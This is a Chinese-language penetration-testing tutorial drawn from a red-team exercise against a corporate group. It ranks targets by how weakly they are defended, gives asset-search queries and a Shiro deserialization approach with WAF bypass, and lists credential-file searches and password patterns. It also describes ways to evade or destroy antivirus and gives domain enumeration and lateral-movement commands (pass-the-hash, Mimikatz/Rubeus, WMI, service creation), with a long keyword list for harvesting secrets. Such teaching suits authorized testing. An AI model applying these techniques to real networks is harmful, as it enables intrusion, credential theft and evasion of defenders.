记一次攻防从某集团子域安全缺陷引发的全域沦陷
字数 1478 2025-09-01 11:25:53
大型集团渗透测试实战教学文档
1. 目标资产优先级评估
在渗透测试前,首先对目标资产进行优先级分类:
1.1 攻击优先级梯度
第一梯度(高优先级):
- 私企、医疗、科技园区、工厂
- 特点:业务体量大、互联网暴露面多
第二梯度(中等优先级):
- 政府单位(人社厅/局、教育厅/局)
- 学校、国企
- 特点:防护等级较高但安全意识薄弱,监控力度白天>晚上
第三梯度(低优先级):
- 电力、金融单位
- 特点:安全性高、暴露面少,安全规范严格
2. 信息收集阶段
2.1 资产测绘三维度
-
企业关联查询:
- 使用爱企查查询控股子公司
- 通过招标文件及官网信息查询第三方供应商
- 通过ICP备案查询企业注册的域名、小程序、APP资产
-
自动化收集工具:
- 子域名扫描
- DNS查询
- 端口扫描
- 指纹识别
- 漏洞测试
-
业务导向收集:
- 根据目标主营业务(如制造业)收集相关系统
- 查找同类型业务系统
2.2 网络空间测绘平台使用
推荐平台及特点:
- Hunter:收录快、内容新,备案内容全面
- Fofa:数据量大但效果有所下降
- 360quake:对已备案资产收集顶尖
- Zero零零信安:移动资产、小程序搜索表现突出
- 微步情报社区:端口、whois信息、子域名方面顶级
搜索语法示例:
# title关键字
domain="xxx.com" && (web.title="管理" || web.title="后台" || web.title="登录" || web.title="邮件" || web.title="教务" || web.title="注册" || web.title="访客")
# body关键字
domain="xxx.com" && (web.body="管理" || web.body="后台" || web.body="登录" || web.body="用户名" || web.body="密码" || web.body="验证码" || web.body="系统" || web.body="账号" || web.body="忘记密码")
3. 漏洞利用阶段
3.1 Shiro反序列化攻击
攻击流程:
- 发现Shiro框架后尝试爆破密钥
- 推荐工具:ShiroAttack2(需二开添加WAF绕过功能)
- GitHub地址:https://github.com/SummerSec/ShiroAttack2
- 注意大型集团通常有WAF防护,需要专门绕过
3.2 服务器权限获取后操作
-
敏感配置文件收集:
dir /s/b *.conf -
自动化敏感信息收集(Go程序示例):
- 关键搜索词:
jdbc, redis, mysql, pgsql, oracle, oss.accessKey, oss.secretKey, password, username, mail, token, datasource, accessKeyId, accessKeySecret - 完整关键词列表见附录A
- 关键搜索词:
-
密码本构建技巧:
- 大型企业内网密码常包含公司名+年份
- 示例:wanhai2025@!+ 或 whqwe@++!
4. 内网突破
4.1 主机信息收集
-
避免直接上线C2:
- 先进行本地信息收集
- 重点查找配置文件获取数据泄露分
-
杀软对抗(ESET Security企业版):
- 推荐工具:Vshell(内网隧道管理)
- 免杀技巧:
- 网上搜索现成方案
- 自行开发免杀载荷
- 极端方法:使用火绒强碎粉碎杀软安装目录
4.2 内网渗透策略
-
初始操作:
- 搭建隧道
- 使用免杀版fscan扫描
- 优先爆破RDP和数据库
-
注意事项:
- 扫描速率调低避免触发告警
- 优先获取主机权限而非Web权限
- 获取跳板机降低入口点暴露风险
5. 横向移动技术
5.1 域内信息收集
基础命令:
ipconfig /all # 查看IP配置、DNS服务器
systeminfo # 获取系统信息
net time /domain # 探测域控主机名
net config workstation # 显示计算机名、用户名
whoami /all # 查看当前用户权限
用户与组枚举:
net user /domain # 列出域内所有用户
net user <username> /domain # 查询指定用户详情
net group /domain # 列出域内所有组
net group "Domain Admins" /domain # 枚举域管理员
计算机对象枚举:
net group "Domain Computers" /domain
# PowerShell:
Get-ADComputer -Filter * -Properties * | Select-Object Name, OperatingSystem
5.2 高级信息收集
域信任关系:
nltest /domain_trusts /all_trusts /v
# PowerShell:
Get-ADTrust -Filter * -Properties * | Select-Object Name, Direction, Source, Target
组策略信息:
gpresult /H report.html /Scope Computer /Scope User
# PowerShell:
Get-GPO -All
SPN扫描与服务发现:
setspn -T <domain> -Q */*
# PowerShell:
Get-ADObject -LDAPFilter "(servicePrincipalName=*)" -Properties servicePrincipalName
5.3 横向移动技术
-
Pass The Hash (PtH):
crackmapexec smb <targets> -u <user> -H <hash> psexec.py -hashes :<hash> <user>@<target> -
Pass The Ticket (PtT):
- Rubeus:
ptt /ticket:<ticket.kirbi> - Mimikatz:
kerberos::ptt
- Rubeus:
-
Overpass The Hash/Pass The Key:
Rubeus asktgt /user:<user> /domain:<domain> /aes256:<aes_key> /nowrap Mimikatz: kerberos::ekeys + kerberos::asktgt -
WMI远程执行:
wmic /node:<target> /user:<user> /password:<pass> process call create "cmd.exe /c ..." # PowerShell: Invoke-WmiMethod ... -
WinRM远程执行:
Enter-PSSession -ComputerName <target> -Credential <cred> Invoke-Command -ComputerName <target> -ScriptBlock { ... } -Credential <cred> -
SMB共享与远程命令执行:
- 使用psexec, smbexec等工具
- 直接访问远程SMB共享(\
\C$)
-
远程桌面协议(RDP):
- 使用获取的凭证直接RDP登录
-
服务控制管理器(SCM):
sc.exe \\<target> create ... binPath= "cmd.exe /c ..." start= auto sc.exe \\<target> start <service> -
DCOM远程执行:
- 利用MMC20.Application, ShellWindows等COM对象
附录A:完整敏感信息关键词列表
jdbc, redis, mysql, pgsql, postgresql, oracle, oss,
oss.accessKey, oss.secretKey, secretKey, accessKey,
ak, sk, mongondb, password, username, mail, token,
datasource, accessKeyId, accessKeySecret, mssql,
sqlserver, aliyun, oss, kingbase8, kingbase, SQLite,
Neo4j, access_key, access_token, admin_pass, admin_user,
algolia_admin_key, algolia_api_key, alias_pass,
alicloud_access_key, amazon_secret_access_key, amazonaws,
ansible_vault_password, aos_key, api_key, api_key_secret,
api_key_sid, api_secret, api.googlemaps AIza, apidocs,
apikey, apiSecret, app_debug, app_id, app_key,
app_log_level, app_secret, appkey, appkeysecret,
application_key, appsecret, appspot, auth_token,
authorizationToken, authsecret, aws_access,
aws_access_key_id, aws_bucket, aws_key, aws_secret,
aws_secret_key, aws_token, AWSSecretKey, b2_app_key,
bashrc password, bintray_apikey, bintray_gpg_password,
bintray_key, bintraykey, bluemix_api_key, bluemix_pass,
browserstack_access_key, bucket_password,
bucketeer_aws_access_key_id, bucketeer_aws_secret_access_key,
built_branch_deploy_key, bx_password, cache_driver,
cache_s3_secret_key, cattle_access_key, cattle_secret_key,
certificate_password, ci_deploy_password, client_secret,
client_zpk_secret_key, clojars_password, cloud_api_key,
cloud_watch_aws_access_key, cloudant_password,
cloudflare_api_key, cloudflare_auth_key, cloudinary_api_secret,
cloudinary_name, codecov_token, config, conn.login,
connectionstring, consumer_key, consumer_secret, credentials,
cypress_record_key, database_password, database_schema_test,
datadog_api_key, datadog_app_key, db_password, db_server,
db_username, dbpasswd, dbpassword, dbuser, deploy_password,
digitalocean_ssh_key_body, digitalocean_ssh_key_ids,
docker_hub_password, docker_key, docker_pass, docker_passwd,
docker_password, dockerhub_password, dockerhubpassword,
dot-files, dotfiles, droplet_travis_password,
dynamoaccesskeyid, dynamosecretaccesskey, elastica_host,
elastica_port, elasticsearch_password, encryption_key,
encryption_password, env.heroku_api_key, env.sonatype_password,
eureka.awssecretkey